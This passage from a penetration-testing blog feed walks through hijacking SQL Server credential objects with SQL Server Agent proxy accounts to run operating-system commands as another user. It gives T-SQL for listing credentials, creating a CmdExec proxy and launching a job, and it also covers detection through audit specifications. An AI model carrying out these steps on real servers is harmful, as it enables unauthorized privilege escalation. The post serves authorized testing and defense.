<h2 class="wp-block-heading" id="h-how-can-i-recover-the-usernames-and-passwords-stored-in-credential-objects-nbsp">How can I Recover the Usernames and Passwords Stored in Credential Objects?&nbsp;</h2>



<p>Obtaining cleartext passwords can be incredibly useful during privilege escalation. So how do we recover them from the SQL Server credential objects?&nbsp; The big hurdle is encryption. The information stored in credential objects is encrypted through the process described <a href="https://learn.microsoft.com/en-us/sql/relational-databases/security/encryption/sql-server-encryption?view=sql-server-ver16" target="_blank" rel="noreferrer noopener">here</a>.&nbsp;&nbsp;&nbsp;</p>



<p>Fortunately, Antti Rantasaari developed a PowerShell script in 2014 that decrypts the credentials stored in SQL Server objects. He also provided a detailed blog <a href="https://www.netspi.com/blog/technical-blog/adversary-simulation/decrypting-mssql-credential-passwords/" target="_blank" rel="noreferrer noopener">post</a> outlining the decryption process. This script has since been ported to the <a href="https://github.com/dataplat/dbatools/blob/7ad0415c2f8a58d3472c1e85ee431c70f1bb8ae4/private/functions/Get-DecryptedObject.ps1#L7" target="_blank" rel="noreferrer noopener">Get-DecryptedObject</a> function within the DBATools module by Chrissy LeMaire, who has maintained it actively.&nbsp;</p>



<p>To run Antti’s function, import his PowerShell function, and run the command below.&nbsp;</p>



<p>Get-MSSQLCredentialPasswords&nbsp;</p>



<p>However, before you start down that path you should know there are some requirements.</p>



<figure class="wp-block-table is-style-regular"><table><thead><tr><th class="has-text-align-left" data-align="left"><strong>Available</strong></th><th class="has-text-align-left" data-align="left"><strong>Requirement</strong></th><th class="has-text-align-left" data-align="left"><strong>Description</strong></th></tr></thead><tbody><tr><td class="has-text-align-left" data-align="left">Yes</td><td class="has-text-align-left" data-align="left">One or more credential objects must have been created in the SQL Server instance to recover passwords.</td><td class="has-text-align-left" data-align="left">In our scenario, we assume credential objects have been created. However, in the real world you will have to confirm that.</td></tr><tr><td class="has-text-align-left" data-align="left">Yes</td><td class="has-text-align-left" data-align="left">Sysadmin privilege</td><td class="has-text-align-left" data-align="left">In our scenario we have this.</td></tr><tr><td class="has-text-align-left" data-align="left">Yes</td><td class="has-text-align-left" data-align="left">DAC connection</td><td class="has-text-align-left" data-align="left">With sysadmin rights we can establish one through <a href="https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/diagnostic-connection-for-database-administrators?view=sql-server-ver16" target="_blank" rel="noreferrer noopener">OS command execution</a> or ad-hoc <a href="https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/Get-DACQuery.sql" target="_blank" rel="noreferrer noopener">queries</a>.</td></tr><tr><td class="has-text-align-left" data-align="left">No</td><td class="has-text-align-left" data-align="left">Local Administrator Privileges</td><td class="has-text-align-left" data-align="left">Local administrator privileges are required to read the encryption material from <em>SOFTWARE\Microsoft\Microsoft SQL Server\[instancename]\Security\Entropy. Service\MSSQLSERVER </em>account does NOT have access to that registry key.<em>&nbsp;</em>&nbsp;</td></tr></tbody></table></figure>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<p>In our scenario, we do not meet all the necessary requirements to recover cleartext passwords from the credential objects. Antti Rantasaari&#8217;s technique is highly effective, but it requires that we already have local administrative privileges on the Windows system hosting the SQL Server instance. Without these administrative privileges, the technique cannot be applied. So, what are our options if we don’t have local administrative privileges?&nbsp;</p>



<h2 class="wp-block-heading" id="h-how-can-i-abuse-sql-server-credential-objects-without-local-administrator-access-nbsp">How can I Abuse SQL Server Credential Objects without Local Administrator Access?&nbsp;</h2>



<p>As discussed earlier, credential objects in SQL Server are designed to enable access to external resources and execute tasks in the context of another user. This means that we <span style="text-decoration: underline;">do not</span> need to recover the cleartext usernames and passwords stored in credential objects to run code in another user’s context—we can leverage the functionality as it was designed.&nbsp;</p>



<p>Below is a process that can be used to &#8220;hijack&#8221; an existing credential object configured on the SQL Server instance, allowing you to execute code in the provided user’s context using SQL Server Agent jobs. No password or local OS administrator privileges required. <img src="https://s.w.org/images/core/emoji/15.0.3/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" />&nbsp;</p>



<p><strong>Lab Setup</strong>&nbsp;</p>



<ol start="1" class="wp-block-list">
<li>Install SQL Server.&nbsp;</li>



<li>Create a local Windows user named <em>testuser</em>&nbsp;and make it a local administrator.&nbsp;</li>
</ol>



<pre class="EnlighterJSRAW" data-enlighter-language="sql" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">net user testuser P@ssw0rd! /add 
net localgroup administrators /add testuser </pre>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<ol start="3" class="wp-block-list">
<li>Log into the SQL Server and create the credential object.&nbsp;</li>
</ol>



<pre class="EnlighterJSRAW" data-enlighter-language="sql" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">CREATE CREDENTIAL [MyCredential] 
WITH IDENTITY = 'yourcomputernamehere\testuser',  
SECRET = 'P@ssw0rd!'; </pre>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<p><strong>Credential Impersonation Walkthrough</strong>&nbsp;</p>



<ol start="1" class="wp-block-list">
<li>Log into the SQL Server instance. Verify that you have sysadmin access.&nbsp;</li>
</ol>



<pre class="EnlighterJSRAW" data-enlighter-language="sql" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">SELECT IS_SRVROLEMEMBER('sysadmin') AS IsSysAdmin;</pre>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="808" height="700" src="https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture1.webp" alt="" class="wp-image-25367" srcset="https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture1.webp 808w, https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture1-300x260.webp 300w, https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture1-768x665.webp 768w" sizes="(max-width: 808px) 100vw, 808px" /></figure>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<ol start="2" class="wp-block-list">
<li>List credentials. The query below will provide you with a list of credentials configured on the SQL Server instance. If any exist, you’re halfway there.&nbsp;</li>
</ol>



<pre class="EnlighterJSRAW" data-enlighter-language="sql" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">SELECT * FROM sys.credentials </pre>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="804" height="696" src="https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture2.webp" alt="" class="wp-image-25368" srcset="https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture2.webp 804w, https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture2-300x260.webp 300w, https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture2-768x665.webp 768w" sizes="(max-width: 804px) 100vw, 804px" /></figure>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<ol start="3" class="wp-block-list">
<li>List proxy accounts. Proxy accounts are tied to the credential object and used by the agent jobs. Leveraging an existing proxy account can reduce the likelihood of detection.&nbsp;</li>
</ol>



<pre class="EnlighterJSRAW" data-enlighter-language="sql" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">USE msdb; 
GO 

SELECT  
    proxy_id, 
    name AS proxy_name, 
    credential_id, 
    enabled 
FROM  
    dbo.sysproxies; 
GO </pre>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="804" height="694" src="https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture3.webp" alt="" class="wp-image-25376" srcset="https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture3.webp 804w, https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture3-300x259.webp 300w, https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture3-768x663.webp 768w" sizes="(max-width: 804px) 100vw, 804px" /></figure>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<ol start="4" class="wp-block-list">
<li>Create a proxy account. If a proxy account doesn’t already exist for the credential object we want to abuse/impersonate, then we can create one and assign it the required privileges. &nbsp;For more information on proxy accounts check out <a href="https://learn.microsoft.com/en-us/sql/ssms/agent/create-a-sql-server-agent-proxy?view=sql-server-ver16">https://learn.microsoft.com/en-us/sql/ssms/agent/create-a-sql-server-agent-proxy?view=sql-server-ver16</a>.&nbsp;</li>
</ol>



<pre class="EnlighterJSRAW" data-enlighter-language="sql" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">USE msdb; 
GO 

EXEC sp_add_proxy  
  @proxy_name = N'MyCredentialProxy',     -- Name of the proxy 
  @credential_name = N'MyCredential';      -- Name of the existing credential 

EXEC sp_grant_proxy_to_subsystem  
  @proxy_name = N'MyCredentialProxy',  
  @subsystem_id = 3; -- 3 represents the Operating System (CmdExec) subsystem </pre>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="800" height="694" src="https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture4.webp" alt="" class="wp-image-25377" srcset="https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture4.webp 800w, https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture4-300x260.webp 300w, https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture4-768x666.webp 768w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<ol start="5" class="wp-block-list">
<li>Verify the proxy account was created.</li>
</ol>



<pre class="EnlighterJSRAW" data-enlighter-language="sql" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">USE msdb; 
GO 

SELECT  
    proxy_id, 
    name AS proxy_name, 
    credential_id, 
    enabled 
FROM  
    dbo.sysproxies; 
GO </pre>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="800" height="694" src="https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture5.webp" alt="" class="wp-image-25378" srcset="https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture5.webp 800w, https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture5-300x260.webp 300w, https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture5-768x666.webp 768w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<ol start="6" class="wp-block-list">
<li>Create an Agent job to execute your desired code or commands on the operating system. Available default options include PowerShell, VBScript, JScript, and CMDEXEC. Ensure that the job is configured with the appropriate proxy account. In the proof-of-concept example below, the process simply creates a file named whoami.txt in the C:\Windows\Temp\ folder to demonstrate that the process was executed in the proxy user’s context.&nbsp;</li>
</ol>



<pre class="EnlighterJSRAW" data-enlighter-language="sql" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">USE msdb; 
GO 

-- Create the job 
EXEC sp_add_job  
  @job_name = N'WhoAmIJob'; -- Name of the job 

-- Add a job step that uses the proxy to execute the whoami command 
EXEC sp_add_jobstep  
  @job_name = N'WhoAmIJob',  
  @step_name = N'ExecuteWhoAmI',  
  @subsystem = N'CmdExec',          
  @command = N'c:\windows\system32\cmd.exe /c whoami > c:\windows\temp\whoami.txt',           
  @on_success_action = 1,         -- 1 = Quit with success 
  @on_fail_action = 2,                     -- 2 = Quit with failure 
  @proxy_name = N'MyCredentialProxy';     -- The proxy created earlier 

-- Add a schedule to the job (optional, can be manual or scheduled) 
EXEC sp_add_jobschedule  
  @job_name = N'WhoAmIJob',  
  @name = N'RunOnce',  
  @freq_type = 1,             -- 1 = Once 
  @active_start_date = 20240820,       
  @active_start_time = 120000;            

-- Add the job to the SQL Server Agent 
EXEC sp_add_jobserver  
  @job_name = N'WhoAmIJob',  
  @server_name = N'(LOCAL)';  </pre>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="800" height="694" src="https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture6.webp" alt="" class="wp-image-25379" srcset="https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture6.webp 800w, https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture6-300x260.webp 300w, https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture6-768x666.webp 768w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<ol start="7" class="wp-block-list">
<li>Use the query below to verify that the proxy account is being used by the Agent. The query will also list all other Agent jobs that are configured to run using proxy accounts.&nbsp;</li>
</ol>



<pre class="EnlighterJSRAW" data-enlighter-language="sql" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">USE msdb; 
GO 

SELECT  
    jobs.name AS JobName, 
    steps.step_id AS StepID, 
    steps.step_name AS StepName, 
    proxies.name AS ProxyName, 
    ISNULL(credentials.name, 'No Credential') AS CredentialName, 
    ISNULL(credentials.credential_identity, 'No Identity') AS IdentityName 
FROM  
    msdb.dbo.sysjobs AS jobs 
JOIN  
    msdb.dbo.sysjobsteps AS steps ON jobs.job_id = steps.job_id 
JOIN  
    msdb.dbo.sysproxies AS proxies ON steps.proxy_id = proxies.proxy_id 
LEFT JOIN  
    sys.credentials AS credentials ON proxies.credential_id = credentials.credential_id 
WHERE  
    steps.proxy_id IS NOT NULL 
ORDER BY  
    jobs.name, steps.step_id; </pre>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="804" height="696" src="https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture7.webp" alt="" class="wp-image-25380" srcset="https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture7.webp 804w, https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture7-300x260.webp 300w, https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture7-768x665.webp 768w" sizes="(max-width: 804px) 100vw, 804px" /></figure>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<ol start="8" class="wp-block-list">
<li>Execute the Agent job so that a process will be started in the context of the proxy account and execute your code/command.&nbsp;</li>
</ol>



<pre class="EnlighterJSRAW" data-enlighter-language="sql" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">EXEC sp_start_job @job_name = N'WhoAmIJob'; </pre>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="800" height="694" src="https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture8.webp" alt="" class="wp-image-25381" srcset="https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture8.webp 800w, https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture8-300x260.webp 300w, https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture8-768x666.webp 768w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<ol start="9" class="wp-block-list">
<li>Confirm execution by reviewing the c:\windows\temp\whoami.txt file contents.&nbsp;</li>
</ol>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="644" src="https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture9-1024x644.webp" alt="" class="wp-image-25382" srcset="https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture9-1024x644.webp 1024w, https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture9-300x189.webp 300w, https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture9-768x483.webp 768w, https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture9.webp 1164w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<p>So, to recap, we were able to execute commands on the host operating system using the credentials without needing to know the associated username or password. However, at this point, if you were able to impersonate a user with local administrative privileges you can also recover the cleartext username and password from configured credential objects using Antti’s technique.&nbsp;</p>



<h2 class="wp-block-heading" id="h-detection-and-hunting-opportunities-nbsp-nbsp">Detection and Hunting Opportunities&nbsp;&nbsp;</h2>



<p>The previous section was great for attackers, but not so great for defenders. Below is an overview of some detection opportunities for the good guys.</p>



<p><strong>Data Source:</strong> Application Logs&nbsp;<br><strong>Detection Strategy:</strong> Behavior&nbsp;<br><strong>Detection Concept:</strong>&nbsp; To detect abuse of credential objects using proxy accounts, create server and database audit specifications that can identify when a proxy account is created by monitoring for the execution of the &#8216;sp_add_proxy&#8217; and &#8216;sp_grant_proxy_to_subsystem&#8217; stored procedures. SQL Server can also be configured to send those events to the Windows Application log where monitoring can be enabled for event ID 33205.&nbsp;<br><strong>Known Detection Consideration: </strong>Some database administrators may use credentials and proxy accounts for legitimate purposes, but it should not happen at a regular cadence.&nbsp;</p>



<p><strong>Detection Configuration Instructions:</strong>&nbsp;</p>



<ol start="1" class="wp-block-list">
<li>Create the Server Audit.&nbsp;</li>
</ol>



<pre class="EnlighterJSRAW" data-enlighter-language="sql" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">Use master 

CREATE SERVER AUDIT [ProxyAccountAudit]  
TO APPLICATION_LOG  
WITH (ON_FAILURE = CONTINUE);  
GO</pre>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="804" height="696" src="https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture10.webp" alt="" class="wp-image-25383" srcset="https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture10.webp 804w, https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture10-300x260.webp 300w, https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture10-768x665.webp 768w" sizes="(max-width: 804px) 100vw, 804px" /></figure>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<ol start="2" class="wp-block-list">
<li>Create the Database Audit Specification. This captures server-level and database-level changes in the msdb database.&nbsp;</li>
</ol>



<pre class="EnlighterJSRAW" data-enlighter-language="sql" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">USE msdb;  
GO  

CREATE DATABASE AUDIT SPECIFICATION [ProxyAccountAuditSpec]  
FOR SERVER AUDIT [ProxyAccountAudit]  
ADD (EXECUTE ON OBJECT::[dbo].[sp_add_proxy] BY [dbo]),  
ADD (EXECUTE ON OBJECT::[dbo].[sp_grant_proxy_to_subsystem] BY [dbo])  
WITH (STATE = ON);  
GO </pre>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="800" height="692" src="https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture11.webp" alt="" class="wp-image-25384" srcset="https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture11.webp 800w, https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture11-300x260.webp 300w, https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture11-768x664.webp 768w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<ol start="3" class="wp-block-list">
<li>Enable the specification.&nbsp;&nbsp;</li>
</ol>



<pre class="EnlighterJSRAW" data-enlighter-language="sql" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">Use master 
GO 
ALTER SERVER AUDIT [ProxyAccountAudit] WITH (STATE = ON); 
GO 
Use msdb  
GO 
ALTER DATABASE AUDIT SPECIFICATION [ProxyAccountAuditSpec]  
WITH (STATE = ON);  
GO </pre>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="758" height="664" src="https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture12.webp" alt="" class="wp-image-25385" srcset="https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture12.webp 758w, https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture12-300x263.webp 300w" sizes="(max-width: 758px) 100vw, 758px" /></figure>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<ol start="4" class="wp-block-list">
<li>If you rerun the proxy account creation steps and review the Windows Application Log for event ID 33205, you should see instances of the &#8216;sp_add_proxy&#8217; and &#8216;sp_grant_proxy_to_subsystem&#8217; stored procedure execution.&nbsp;</li>
</ol>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="936" height="582" src="https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture13.webp" alt="" class="wp-image-25386" srcset="https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture13.webp 936w, https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture13-300x187.webp 300w, https://www.netspi.com/wp-content/uploads/2024/08/091024_TECH_Hijacking-SQL-Server-Credentials-using-Agent-Jobs-for-Domain-Privilege-Escalation_Picture13-768x478.webp 768w" sizes="(max-width: 936px) 100vw, 936px" /></figure>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<h2 class="wp-block-heading" id="h-wrap-up-nbsp">Wrap Up&nbsp;</h2>



<p>If you’d like to explore my previous offensive security work related to SQL Server, you can find it at <a href="http://powerupsql.com/" target="_blank" rel="noreferrer noopener">powerupsql.com</a>. The site includes the PowerUpSQL code, <a href="https://github.com/NetSPI/PowerUpSQL/tree/master/templates/tsql">SQL attack templates</a>, <a href="https://github.com/NetSPI/PowerUpSQL/wiki/SQL-Server-Detective-Control-Cheat-Sheet">Detection Templates</a>, <a href="https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet">privilege escalation cheatsheets</a>, blogs, and presentations focused on hacking SQL Server.</p>



<p>Note: I have not attempted to test this technique against Azure SQL Databases yet, but my preliminary research indicates credentials are not supported.</p>



<p>PS: A big thank you to Brian from 7 Minute Security (@7MinSec &#8211;&nbsp;<a href="http://7minsec.com/" target="_blank" rel="noreferrer noopener">7minsec.com</a>) for outlining the scenario/problem space that led to this solution.</p>
<p>The post <a href="https://www.netspi.com/blog/technical-blog/network-pentesting/hijacking-sql-server-credentials-with-agent-jobs-for-domain-privilege-escalation/">Hijacking SQL Server Credentials using Agent Jobs for Domain Privilege Escalation </a> appeared first on <a href="https://www.netspi.com">NetSPI</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>The Balancing Act of In-House vs Third-Party Penetration Testing</title>
		<link>https://www.netspi.com/blog/executive-blog/penetration-testing-as-a-service-ptaas/in-house-vs-third-party-penetration-testing/</link>
		
		<dc:creator><![CDATA[Nabil Hannan]]></dc:creator>
		<pubDate>Thu, 29 Aug 2024 19:51:16 +0000</pubDate>
				<category><![CDATA[Penetration Testing as a Service (PTaaS)]]></category>
		<category><![CDATA[cybersecurity strategy]]></category>
		<category><![CDATA[third-party penetration testing]]></category>
		<guid isPermaLink="false">https://www.netspi.com/?p=25370</guid>

					<description><![CDATA[<p>Discover how combining in-house and third-party penetration testing brings a hybrid approach to enhance your cybersecurity strategy. </p>
<p>The post <a href="https://www.netspi.com/blog/executive-blog/penetration-testing-as-a-service-ptaas/in-house-vs-third-party-penetration-testing/">The Balancing Act of In-House vs Third-Party Penetration Testing</a> appeared first on <a href="https://www.netspi.com">NetSPI</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading" id="h-tl-dr-nbsp">TL;DR&nbsp;</h2>



